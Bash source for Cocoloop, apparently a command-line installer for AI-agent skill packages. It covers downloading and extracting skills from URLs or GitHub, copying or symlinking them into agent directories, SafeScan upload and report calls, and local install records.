cocoloop::install::find_skill_root() { local input="$1" if [[ -f "$input" ]]; then cocoloop::die "unsupported_source" "当前版本暂不支持直接从单文件安装: $input" fi if [[ -f "$input/SKILL.md" ]]; then printf '%s\n' "$input" return 0 fi local nested nested="$(find "$input" -type f -name SKILL.md -print -quit 2>/dev/null || true)" [[ -n "$nested" ]] || cocoloop::die "invalid_skill" "在来源目录中没有找到 SKILL.md: $input" dirname "$nested" } cocoloop::install::find_skill_roots() { local input="$1" local nested="" if [[ -f "$input" ]]; then cocoloop::die "unsupported_source" "当前版本暂不支持直接从单文件安装: $input" fi if [[ -f "$input/SKILL.md" ]]; then printf '%s\n' "$input" return 0 fi while IFS= read -r nested; do [[ -n "$nested" ]] || continue dirname "$nested" done < <(find "$input" -type f -name SKILL.md 2>/dev/null || true) | awk 'NF && !seen[$0]++' } cocoloop::install::skill_name_from_root() { cocoloop::skill_name_from_root "$1" } cocoloop::install::target_path() { local skill_name="$1" local scope="$2" local agent_name="$3" printf '%s/%s' "$(cocoloop::platform::resolve_target_root "$scope" "$agent_name")" "$skill_name" } cocoloop::install::store_path() { local skill_name="$1" printf '%s/%s' "$(cocoloop_skills_store_dir)" "$skill_name" } cocoloop::install::required_tools() { local source_type="$1" printf 'cp\nfind\n' case "$source_type" in local) printf '' ;; url|official|github|skill-name) printf 'curl\n' printf 'file\n' printf 'unzip\n' ;; esac case "$source_type" in github|skill-name) printf 'jq\n' ;; esac } cocoloop::install::missing_tools() { local source_type="$1" local tool missing=0 while IFS= read -r tool; do [[ -n "$tool" ]] || continue if ! command -v "$tool" >/dev/null 2>&1; then printf '%s\n' "$tool" missing=1 fi done < <(cocoloop::install::required_tools "$source_type") return "$missing" } cocoloop::install::batch_support_reason() { local source_type="$1" local agent_name="$2" local missing_tools="" if ! cocoloop::platform::supports_batch_install "$agent_name"; then printf 'unsupported-environment\n' return 0 fi missing_tools="$(cocoloop::install::missing_tools "$source_type" || true)" if [[ -n "$missing_tools" ]]; then printf 'missing-tools\n' return 0 fi printf 'batch-supported\n' } cocoloop::install::handoff() { local source_arg="$1" local scope="$2" local force="$3" local input_type="$4" local agent_name="$5" local reason="$6" local detail="${7:-}" local target_path="" if [[ "$input_type" == "skill-name" ]] && cocoloop::platform::supports_batch_install "$agent_name"; then target_path="$(cocoloop::install::target_path "$(cocoloop::normalize_name "$source_arg")" "$scope" "$agent_name" 2>/dev/null || true)" fi cocoloop::print_kv "COMMAND" "install" cocoloop::print_kv "STATUS" "handoff-to-agent" cocoloop::print_kv "INPUT_TYPE" "$input_type" cocoloop::print_kv "AGENT" "$agent_name" [[ -n "$target_path" ]] && cocoloop::print_kv "TARGET_PATH" "$target_path" cocoloop::print_kv "FORCE" "$force" cocoloop::print_kv "REASON" "$reason" cocoloop::print_kv "NEXT_STEP" "agent-exploration" [[ -n "$detail" ]] && cocoloop::print_kv "DETAIL" "$detail" return 0 } cocoloop::install::supports_symlink_publish() { local os_platform os_platform="$(cocoloop::platform::detect_os)" [[ "$os_platform" != "windows" ]] || return 1 command -v ln >/dev/null 2>&1 } cocoloop::install::verify() { local source_root="$1" local target_path="$2" local dir_name [[ -f "${target_path}/SKILL.md" ]] || cocoloop::die "install_verify_failed" "安装后缺少 SKILL.md: ${target_path}" for dir_name in scripts references assets agents; do if [[ -d "${source_root}/${dir_name}" && ! -d "${target_path}/${dir_name}" ]]; then cocoloop::die "install_verify_failed" "安装后缺少目录 ${dir_name}: ${target_path}" fi done } cocoloop::install::copy_skill_root() { local source_root="$1" local target_path="$2" local force="$3" local publish_mode="${4:-copy}" local target_root target_root="$(dirname "$target_path")" cocoloop::ensure_dir "$target_root" if [[ -e "$target_path" ]]; then if [[ "$force" != "true" ]]; then cocoloop::die "target_exists" "目标路径已存在。可加 --force 覆盖: $target_path" fi rm -rf "$target_path" fi case "$publish_mode" in symlink) ln -s "$source_root" "$target_path" ;; copy) cp -R "$source_root" "$target_path" ;; *) cocoloop::die "invalid_publish_mode" "未知安装发布方式: $publish_mode" ;; esac cocoloop::install::verify "$source_root" "$target_path" } cocoloop::install::stage_skill_root() { local source_root="$1" local store_path="$2" local force="$3" cocoloop::ensure_dir "$(dirname "$store_path")" if [[ -e "$store_path" ]]; then if [[ "$force" != "true" ]]; then cocoloop::die "target_exists" "Cocoloop 技能仓库已存在该 Skill。可加 --force 覆盖: $store_path" fi rm -rf "$store_path" fi cp -R "$source_root" "$store_path" cocoloop::install::verify "$source_root" "$store_path" } cocoloop::install::download_file() { local url="$1" local destination="$2" curl --silent --show-error --location --max-time "${COCOLOOP_DOWNLOAD_TIMEOUT:-60}" -o "$destination" "$url" } cocoloop::install::extract_archive() { local archive="$1" local output_dir="$2" case "$archive" in *.zip) unzip -q "$archive" -d "$output_dir" ;; *.tar.gz|*.tgz) tar -xzf "$archive" -C "$output_dir" ;; *.tar) tar -xf "$archive" -C "$output_dir" ;; *) cocoloop::die "unsupported_archive" "不支持的压缩格式: $archive" ;; esac } cocoloop::install::prepare_from_url() { local url="$1" local work_dir="$2" if [[ "$url" =~ github\.com/ ]]; then cocoloop::install::prepare_from_github "$url" "$work_dir" return 0 fi local filename downloaded extracted_dir filename="$(basename "${url%%\?*}")" [[ -n "$filename" ]] || filename="download.bin" downloaded="${work_dir}/${filename}" cocoloop::install::download_file "$url" "$downloaded" if file "$downloaded" | grep -qi 'HTML'; then cocoloop::die "unsupported_source_page" "当前 URL 指向页面而不是已知可安装归档，请交给 Agent 探索安装: $url" fi extracted_dir="${work_dir}/extracted" cocoloop::ensure_dir "$extracted_dir" cocoloop::install::extract_archive "$downloaded" "$extracted_dir" printf '%s\n' "$extracted_dir" } cocoloop::install::prepare_from_github() { local source="$1" local work_dir="$2" local repo_path owner repo branch subpath api_payload archive_url archive_path extracted_dir repo_path="$source" repo_path="${repo_path#https://github.com/}" repo_path="${repo_path#github.com/}" repo_path="${repo_path%%\?*}" repo_path="${repo_path%%#*}" if [[ "$repo_path" =~ ^([^/]+)/([^/]+)(/tree/([^/]+)(/(.+))?)?$ ]]; then owner="${BASH_REMATCH[1]}" repo="${BASH_REMATCH[2]}" branch="${BASH_REMATCH[4]:-}" subpath="${BASH_REMATCH[6]:-}" elif [[ "$repo_path" =~ ^([^/]+)/([^/]+)$ ]]; then owner="${BASH_REMATCH[1]}" repo="${BASH_REMATCH[2]}" branch="" subpath="" else cocoloop::die "invalid_github_source" "无法解析 GitHub 来源: $source" fi if [[ -n "$subpath" ]]; then cocoloop::die "unsupported_github_subpath" "当前版本不在 install 中解析 GitHub 子目录，请交给 Agent 探索安装: $source" fi repo="${repo%.git}" if [[ -z "$branch" ]]; then api_payload="$(curl --silent --show-error --location "https://api.github.com/repos/${owner}/${repo}")" branch="$(cocoloop::json_get '.default_branch // empty' "$api_payload" | head -n 1)" [[ -n "$branch" ]] || branch="main" fi archive_url="https://codeload.github.com/${owner}/${repo}/zip/refs/heads/${branch}" archive_path="${work_dir}/${repo}-${branch}.zip" cocoloop::install::download_file "$archive_url" "$archive_path" extracted_dir="${work_dir}/extracted" cocoloop::ensure_dir "$extracted_dir" cocoloop::install::extract_archive "$archive_path" "$extracted_dir" printf '%s\n' "$extracted_dir" } cocoloop::install::selection_values() { local raw="$1" printf '%s' "$raw" \ | tr ',' '\n' \ | sed 's/^[[:space:]]*//; s/[[:space:]]*$//' \ | tr '[:upper:]' '[:lower:]' \ | tr ' ' '-' \ | awk 'NF && !seen[$0]++' } cocoloop::install::emit_multi_skill_review() { local reason="$1" local source_arg="$2" shift 2 local root skill_name printf 'REVIEW_REQUIRED: %s\n' "$reason" printf 'SOURCE: %s\n' "$source_arg" for root in "$@"; do [[ -n "$root" ]] || continue skill_name="$(cocoloop::install::skill_name_from_root "$root")" printf 'CANDIDATE: %s\t%s\n' "$skill_name" "$root" done printf 'SELECTION_HINT: rerun with --skills skill-a,skill-b or --all\n' } cocoloop::install::emit_official_review() { local query="$1" local payload="$2" printf 'REVIEW_REQUIRED: official-search-results\n' printf 'QUERY: %s\n' "$query" if cocoloop::has_jq; then jq -r ' .data.items[]? | "CANDIDATE: \((.name // .original_name // "-"))\t\((.id // "-")|tostring)\t\((.download_url // "-"))" ' <<<"$payload" fi printf 'SELECTION_HINT: rerun install with an exact skill name after user or Agent confirmation\n' } cocoloop::install::selected_roots() { local source_arg="$1" local container_root="$2" local selection="${3:-}" local install_all="${4:-false}" local review_reason="${5:-multi-skill-source}" local root skill_name requested_list="" local -a roots=() local matched=0 while IFS= read -r root; do [[ -n "$root" ]] || continue roots+=("$root") done < <(cocoloop::install::find_skill_roots "$container_root") [[ ${#roots[@]} -gt 0 ]] || cocoloop::die "invalid_skill" "在来源目录中没有找到 SKILL.md: $container_root" if [[ ${#roots[@]} -eq 1 ]]; then printf '%s\n' "${roots[0]}" return 0 fi if [[ "$install_all" == "true" ]]; then printf '%s\n' "${roots[@]}" return 0 fi if [[ -n "$selection" ]]; then requested_list="$(cocoloop::install::selection_values "$selection" || true)" for root in "${roots[@]}"; do skill_name="$(cocoloop::install::skill_name_from_root "$root")" if [[ -n "$requested_list" ]] && grep -Fxq "$skill_name" <<<"$requested_list"; then printf '%s\n' "$root" matched=1 fi done if [[ $matched -eq 1 ]]; then return 0 fi cocoloop::install::emit_multi_skill_review "$review_reason" "$source_arg" "${roots[@]}" printf 'SELECTION_ERROR: 未找到指定的 Skill 选择: %s\n' "$selection" return 10 fi cocoloop::install::emit_multi_skill_review "$review_reason" "$source_arg" "${roots[@]}" return 10 } cocoloop::install::record_success() { local skill_name="$1" local target_path="$2" local source="$3" local source_type="$4" local version="$5" local scope="$6" local official_id="${7:-}" cocoloop_session_record_install "$skill_name" "$target_path" "$source" "$source_type" "${version:-unknown}" "$scope" "$official_id" } cocoloop::install::perform_from_root() { local source_root="$1" local source_arg="$2" local source_type="$3" local scope="$4" local force="$5" local official_id="${6:-}" local agent_name skill_name store_path target_path version install_strategy agent_name="$(cocoloop::platform::detect_agent)" skill_name="$(cocoloop::install::skill_name_from_root "$source_root")" store_path="$(cocoloop::install::store_path "$skill_name")" target_path="$(cocoloop::install::target_path "$skill_name" "$scope" "$agent_name")" version="$(cocoloop::install::version_from_root "$source_root")" cocoloop::install::stage_skill_root "$source_root" "$store_path" "$force" install_strategy="copy" if cocoloop::install::supports_symlink_publish; then cocoloop::install::copy_skill_root "$store_path" "$target_path" "$force" "symlink" install_strategy="symlink" else cocoloop::install::copy_skill_root "$store_path" "$target_path" "$force" "copy" fi cocoloop::install::record_success "$skill_name" "$target_path" "$source_arg" "$source_type" "$version" "$scope" "$official_id" cocoloop::print_kv "COMMAND" "install" cocoloop::print_kv "STATUS" "installed" cocoloop::print_kv "INPUT_TYPE" "$source_type" cocoloop::print_kv "AGENT" "$agent_name" cocoloop::print_kv "SKILL" "$skill_name" cocoloop::print_kv "VERSION" "${version:-unknown}" cocoloop::print_kv "SOURCE_ROOT" "$source_root" cocoloop::print_kv "STORE_PATH" "$store_path" cocoloop::print_kv "TARGET_PATH" "$target_path" [[ -n "$official_id" ]] && cocoloop::print_kv "OFFICIAL_ID" "$official_id" cocoloop::print_kv "INSTALL_STRATEGY" "$install_strategy" cocoloop::print_kv "NEXT_STEP" "user-test" } cocoloop::install::official_selected_item() { local query="$1" cocoloop::resolve_exact_skill_item "$query" } cocoloop::install::batch_execute() { local source_arg="$1" local scope="$2" local force="$3" local input_type="$4" local selected_skills="${5:-}" local install_all="${6:-false}" local selected_item download_url official_id official_name source_root work_dir payload container_root roots_output selection_status local -a source_roots=() case "$input_type" in local) if roots_output="$(cocoloop::install::selected_roots "$source_arg" "$source_arg" "$selected_skills" "$install_all" "multi-skill-source" 2>&1)"; then selection_status=0 else selection_status=$? fi if [[ $selection_status -ne 0 ]]; then printf '%s\n' "$roots_output" return "$selection_status" fi while IFS= read -r source_root; do [[ -n "$source_root" ]] || continue source_roots+=("$source_root") done <<<"$roots_output" for source_root in "${source_roots[@]}"; do cocoloop::install::perform_from_root "$source_root" "$source_arg" "$input_type" "$scope" "$force" done ;; url) work_dir="$(cocoloop::install::temp_dir)" container_root="$(cocoloop::install::prepare_from_url "$source_arg" "$work_dir")" || { local prepare_status=$? cocoloop::install::cleanup_work_dir "$work_dir" return "$prepare_status" } if roots_output="$(cocoloop::install::selected_roots "$source_arg" "$container_root" "$selected_skills" "$install_all" "multi-skill-source" 2>&1)"; then selection_status=0 else selection_status=$? fi if [[ $selection_status -ne 0 ]]; then printf '%s\n' "$roots_output" cocoloop::install::cleanup_work_dir "$work_dir" return "$selection_status" fi while IFS= read -r source_root; do [[ -n "$source_root" ]] || continue source_roots+=("$source_root") done <<<"$roots_output" for source_root in "${source_roots[@]}"; do if cocoloop::install::perform_from_root "$source_root" "$source_arg" "$input_type" "$scope" "$force"; then : else local perform_status=$? cocoloop::install::cleanup_work_dir "$work_dir" return "$perform_status" fi done cocoloop::install::cleanup_work_dir "$work_dir" ;; github) work_dir="$(cocoloop::install::temp_dir)" container_root="$(cocoloop::install::prepare_from_github "$source_arg" "$work_dir")" || { local prepare_status=$? cocoloop::install::cleanup_work_dir "$work_dir" return "$prepare_status" } if roots_output="$(cocoloop::install::selected_roots "$source_arg" "$container_root" "$selected_skills" "$install_all" "multi-skill-repo" 2>&1)"; then selection_status=0 else selection_status=$? fi if [[ $selection_status -ne 0 ]]; then printf '%s\n' "$roots_output" cocoloop::install::cleanup_work_dir "$work_dir" return "$selection_status" fi while IFS= read -r source_root; do [[ -n "$source_root" ]] || continue source_roots+=("$source_root") done <<<"$roots_output" for source_root in "${source_roots[@]}"; do if cocoloop::install::perform_from_root "$source_root" "$source_arg" "$input_type" "$scope" "$force"; then : else local perform_status=$? cocoloop::install::cleanup_work_dir "$work_dir" return "$perform_status" fi done cocoloop::install::cleanup_work_dir "$work_dir" ;; skill-name) selected_item="$(cocoloop::install::official_selected_item "$source_arg" || true)" if [[ -z "$selected_item" ]]; then payload="$(cocoloop_api_search "$source_arg")" if [[ "$(cocoloop::json_get '.data.items | length' "$payload" | head -n 1 || true)" != "0" ]]; then cocoloop::install::emit_official_review "$source_arg" "$payload" return 10 fi return 2 fi download_url="$(cocoloop::json_get '.download_url // empty' "$selected_item" | head -n 1)" official_id="$(cocoloop::json_get '.id // empty' "$selected_item" | head -n 1)" official_name="$(cocoloop::json_get '.name // .original_name // empty' "$selected_item" | head -n 1)" [[ -n "$download_url" ]] || return 2 work_dir="$(cocoloop::install::temp_dir)" container_root="$(cocoloop::install::prepare_from_url "$download_url" "$work_dir")" || { local prepare_status=$? cocoloop::install::cleanup_work_dir "$work_dir" return "$prepare_status" } if roots_output="$(cocoloop::install::selected_roots "$official_name" "$container_root" "$selected_skills" "$install_all" "multi-skill-source" 2>&1)"; then selection_status=0 else selection_status=$? fi if [[ $selection_status -ne 0 ]]; then printf '%s\n' "$roots_output" cocoloop::install::cleanup_work_dir "$work_dir" return "$selection_status" fi source_root="$(printf '%s\n' "$roots_output" | head -n 1)" if cocoloop::install::perform_from_root "$source_root" "$download_url" "official" "$scope" "$force" "$official_id"; then : else local perform_status=$? cocoloop::install::cleanup_work_dir "$work_dir" return "$perform_status" fi [[ -n "$official_id" ]] && cocoloop_api_behavior_report "$official_id" download skill >/dev/null 2>&1 || true [[ -n "$official_name" ]] && cocoloop::print_kv "OFFICIAL_NAME" "$official_name" cocoloop::install::cleanup_work_dir "$work_dir" ;; *) return 3 ;; esac } cocoloop::install::run_batch() { local source_arg="$1" local scope="$2" local force="$3" local input_type="$4" local log_file output status cocoloop_session_init_dirs log_file="$(cocoloop::install::last_error_file)" output="$( cocoloop::install::batch_execute "$source_arg" "$scope" "$force" "$input_type" "${5:-}" "${6:-false}" 2>&1 )" status=$? : >"$log_file" [[ -n "$output" ]] && printf '%s\n' "$output" >"$log_file" if [[ $status -eq 0 ]]; then printf '%s\n' "$output" return 0 fi return "$status" } cocoloop::install::classify_batch_failure() { local source_arg="$1" local input_type="$2" local log_file detail log_file="$(cocoloop::install::last_error_file)" detail="$(cat "$log_file" 2>/dev/null || true)" if [[ "$input_type" == "skill-name" ]] && [[ -z "$detail" ]]; then printf 'ambiguous-source\n' return 0 fi if [[ "$detail" == REVIEW_REQUIRED:* ]]; then printf 'review-required\n' return 0 fi case "$detail" in *"install_verify_failed"*) printf 'post-install-verification-failed\n' ;; *"unsupported_archive"*|*"unsupported_source_page"*|*"unsupported_github_subpath"*|*"unresolvable_page"*|*"invalid_github_source"*) printf 'installer-behavior-changed\n' ;; *) printf 'batch-install-failed\n' ;; esac } cocoloop::install::print_review_from_log() { local source_arg="$1" local scope="$2" local force="$3" local input_type="$4" local agent_name="$5" local log_file reason_line reason query_line source_line hint_line local candidate_line candidate_name candidate_meta candidate_path selection_error log_file="$(cocoloop::install::last_error_file)" reason_line="$(grep '^REVIEW_REQUIRED:' "$log_file" 2>/dev/null | head -n 1 || true)" reason="${reason_line#REVIEW_REQUIRED: }" query_line="$(grep '^QUERY:' "$log_file" 2>/dev/null | head -n 1 || true)" source_line="$(grep '^SOURCE:' "$log_file" 2>/dev/null | head -n 1 || true)" hint_line="$(grep '^SELECTION_HINT:' "$log_file" 2>/dev/null | head -n 1 || true)" selection_error="$(grep '^SELECTION_ERROR:' "$log_file" 2>/dev/null | head -n 1 || true)" cocoloop::print_kv "COMMAND" "install" cocoloop::print_kv "STATUS" "review-required" cocoloop::print_kv "INPUT_TYPE" "$input_type" cocoloop::print_kv "AGENT" "$agent_name" cocoloop::print_kv "FORCE" "$force" cocoloop::print_kv "REASON" "$reason" [[ -n "$query_line" ]] && cocoloop::print_kv "QUERY" "${query_line#QUERY: }" [[ -n "$source_line" ]] && cocoloop::print_kv "SOURCE" "${source_line#SOURCE: }" [[ -n "$selection_error" ]] && cocoloop::print_kv "SELECTION_ERROR" "${selection_error#SELECTION_ERROR: }" printf 'CANDIDATES:\n' while IFS= read -r candidate_line; do [[ -n "$candidate_line" ]] || continue candidate_line="${candidate_line#CANDIDATE: }" IFS=$'\t' read -r candidate_name candidate_meta candidate_path <<<"$candidate_line" if [[ "$reason" == "official-search-results" ]]; then printf ' - %s | id=%s | download=%s\n' "$candidate_name" "$candidate_meta" "${candidate_path:--}" elif [[ -n "${candidate_meta:-}" && -z "${candidate_path:-}" ]]; then printf ' - %s | path=%s\n' "$candidate_name" "$candidate_meta" elif [[ -n "${candidate_path:-}" ]]; then printf ' - %s | path=%s\n' "$candidate_name" "$candidate_path" else printf ' - %s\n' "$candidate_name" fi done < <(grep '^CANDIDATE:' "$log_file" 2>/dev/null || true) cocoloop::print_kv "NEXT_STEP" "agent-judgment-or-user-confirmation" [[ -n "$hint_line" ]] && cocoloop::print_kv "SELECTION_HINT" "${hint_line#SELECTION_HINT: }" } cocoloop::install::plan() { local source_arg="$1" local scope="$2" local force="$3" local selected_skills="${4:-}" local install_all="${5:-false}" local agent_name input_type target_path batch_reason failure_reason detail agent_name="$(cocoloop::platform::detect_agent)" input_type="$(cocoloop::install::infer_type "$source_arg")" batch_reason="$(cocoloop::install::batch_support_reason "$input_type" "$agent_name")" if [[ "$batch_reason" != "batch-supported" ]]; then detail="" if [[ "$batch_reason" == "missing-tools" ]]; then detail="$(cocoloop::install::missing_tools "$input_type" | paste -sd ',' - 2>/dev/null || true)" fi cocoloop::install::handoff "$source_arg" "$scope" "$force" "$input_type" "$agent_name" "$batch_reason" "$detail" return 0 fi if cocoloop::install::run_batch "$source_arg" "$scope" "$force" "$input_type" "$selected_skills" "$install_all"; then return 0 fi failure_reason="$(cocoloop::install::classify_batch_failure "$source_arg" "$input_type")" if [[ "$failure_reason" == "review-required" ]]; then cocoloop::install::print_review_from_log "$source_arg" "$scope" "$force" "$input_type" "$agent_name" return 0 fi detail="$(cat "$(cocoloop::install::last_error_file)" 2>/dev/null | tr '\n' ' ' | sed 's/[[:space:]]\\+/ /g' | sed 's/^ //; s/ $//' || true)" cocoloop::install::handoff "$source_arg" "$scope" "$force" "$input_type" "$agent_name" "$failure_reason" "$detail" return 0 } FILE:scripts/lib/fallback.sh #!/usr/bin/env bash # Fallback discovery helpers. cocoloop_fallback_github_search_url() { local query="${1:-}" local encoded encoded="$(cocoloop_api_urlencode "${query} SKILL.md")" printf 'https://github.com/search?q=%s&type=repositories\n' "$encoded" } cocoloop_fallback_skills_sh_url() { local query="${1:-}" local encoded encoded="$(cocoloop_api_urlencode "$query")" printf 'https://skills.sh/search?q=%s\n' "$encoded" } cocoloop_fallback_clawhub_url() { local query="${1:-}" local encoded encoded="$(cocoloop_api_urlencode "$query")" printf 'https://clawhub.ai/search?q=%s\n' "$encoded" } cocoloop_fallback_candidates_json() { local query="${1:-}" printf '{\n' printf ' "query": "%s",\n' "$query" printf ' "sources": [\n' printf ' {"source":"clawhub","url":"%s"},\n' "$(cocoloop_fallback_clawhub_url "$query")" printf ' {"source":"skills.sh","url":"%s"},\n' "$(cocoloop_fallback_skills_sh_url "$query")" printf ' {"source":"github","url":"%s"}\n' "$(cocoloop_fallback_github_search_url "$query")" printf ' ]\n' printf '}\n' } cocoloop_fallback_find() { local query="${1:-}" cocoloop_fallback_candidates_json "$query" } cocoloop_fallback_build_candidate_payload() { local name="${1:-}" local brief="${2:-}" local source_url="${3:-}" printf '{"original_name":"%s","brief":"%s","download_url":"%s"}\n' "$name" "$brief" "$source_url" } FILE:scripts/lib/safescan.sh #!/usr/bin/env bash # SafeScan helpers. cocoloop_safescan_report() { local skill_hash="${1:-}" cocoloop_api_get "$(cocoloop_api_base_url)/safescan/report/${skill_hash}" } cocoloop_safescan_report_batch() { local payload="{\"skill_hashes\":[" local first=1 local hash for hash in "$@"; do if [[ $first -eq 0 ]]; then payload+=',' fi payload+="\"${hash}\"" first=0 done payload+=']} ' payload="${payload% }" cocoloop_api_post "$(cocoloop_api_base_url)/safescan/report-batch" "$payload" } cocoloop_safescan_check_existence() { local payload="{\"skill_hashes\":[" local first=1 local hash for hash in "$@"; do if [[ $first -eq 0 ]]; then payload+=',' fi payload+="\"${hash}\"" first=0 done payload+=']} ' payload="${payload% }" cocoloop_api_post "$(cocoloop_api_base_url)/safescan/check-existence" "$payload" } cocoloop_safescan_upload_file() { local file_path="${1:-}" local snowflake_id="${2:-local-$(date +%s)}" [[ -f "$file_path" ]] || { echo "SafeScan 上传失败：文件不存在: $file_path" >&2 return 1 } curl --silent --show-error --location --max-time "$(cocoloop_api_timeout)" \ -X POST "$(cocoloop_api_base_url)/safescan/upload" \ -F "upload_type=file" \ -F "snowflake_id=${snowflake_id}" \ -F "file=@${file_path}" } cocoloop_safescan_upload_directory() { local dir_path="${1:-}" local snowflake_id="${2:-local-$(date +%s)}" [[ -d "$dir_path" ]] || { echo "SafeScan 上传失败：目录不存在: $dir_path" >&2 return 1 } curl --silent --show-error --location --max-time "$(cocoloop_api_timeout)" \ -X POST "$(cocoloop_api_base_url)/safescan/upload" \ -F "upload_type=path" \ -F "snowflake_id=${snowflake_id}" \ -F "file_paths[]=${dir_path}" } cocoloop_safescan_agent_paths() { local agent_name="${1:-codex}" local os_platform="${2:-macos}" cocoloop_api_agent_skill_paths "$agent_name" "$os_platform" } FILE:scripts/lib/session.sh #!/usr/bin/env bash # Session helpers for Cocoloop CLI. cocoloop_state_root() { printf '%s\n' "${COCOLOOP_HOME:-$HOME/.cocoloop}" } cocoloop_cache_dir() { printf '%s/cache\n' "$(cocoloop_state_root)" } cocoloop_logs_dir() { printf '%s/logs\n' "$(cocoloop_state_root)" } cocoloop_data_dir() { printf '%s/state\n' "$(cocoloop_state_root)" } cocoloop_skills_store_dir() { printf '%s/skills\n' "$(cocoloop_state_root)" } cocoloop_installs_file() { printf '%s/installs.tsv\n' "$(cocoloop_data_dir)" } cocoloop_likes_file() { printf '%s/likes.txt\n' "$(cocoloop_data_dir)" } cocoloop_session_init_dirs() { mkdir -p "$(cocoloop_cache_dir)" "$(cocoloop_logs_dir)" "$(cocoloop_data_dir)" "$(cocoloop_skills_store_dir)" } cocoloop_session_record_install() { local skill_name="$1" local target_path="$2" local source="$3" local source_type="$4" local version="$5" local scope="$6" local official_id="${7:-}" local installs_file cocoloop_session_init_dirs installs_file="$(cocoloop_installs_file)" [[ -f "$installs_file" ]] || : >"$installs_file" skill_name="$(cocoloop::normalize_name "$skill_name")" target_path="$(cocoloop::trim_line_endings "$target_path")" source="$(cocoloop::trim_line_endings "$source")" source_type="$(cocoloop::trim_line_endings "$source_type")" version="$(cocoloop::trim_line_endings "$version")" scope="$(cocoloop::trim_line_endings "$scope")" official_id="$(cocoloop::trim_line_endings "$official_id")" awk -F '\t' -v skill="$skill_name" '$1 != skill' "$installs_file" >"${installs_file}.tmp" || true mv "${installs_file}.tmp" "$installs_file" printf '%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n' \ "$skill_name" \ "$target_path" \ "$source" \ "$source_type" \ "$version" \ "$scope" \ "$(date -u +%Y-%m-%dT%H:%M:%SZ)" \ "$official_id" >>"$installs_file" } cocoloop_session_find_install() { local skill_name="$1" local installs_file installs_file="$(cocoloop_installs_file)" [[ -f "$installs_file" ]] || return 1 awk -F '\t' -v skill="$skill_name" '{ normalized=$1 gsub(/\r/, "", normalized) if (normalized == skill) { print exit } }' "$installs_file" } cocoloop_session_remove_install() { local skill_name="$1" local installs_file installs_file="$(cocoloop_installs_file)" [[ -f "$installs_file" ]] || return 0 awk -F '\t' -v skill="$skill_name" '{ normalized=$1 gsub(/\r/, "", normalized) if (normalized != skill) { print } }' "$installs_file" >"${installs_file}.tmp" || true mv "${installs_file}.tmp" "$installs_file" } cocoloop_session_add_like() { local skill_name="$1" local likes_file cocoloop_session_init_dirs likes_file="$(cocoloop_likes_file)" [[ -f "$likes_file" ]] || : >"$likes_file" grep -Fxq "$skill_name" "$likes_file" 2>/dev/null || printf '%s\n' "$skill_name" >>"$likes_file" } cocoloop_session_list_likes() { local likes_file likes_file="$(cocoloop_likes_file)" [[ -f "$likes_file" ]] || return 0 cat "$likes_file" }

CocoLoop

Comments (0)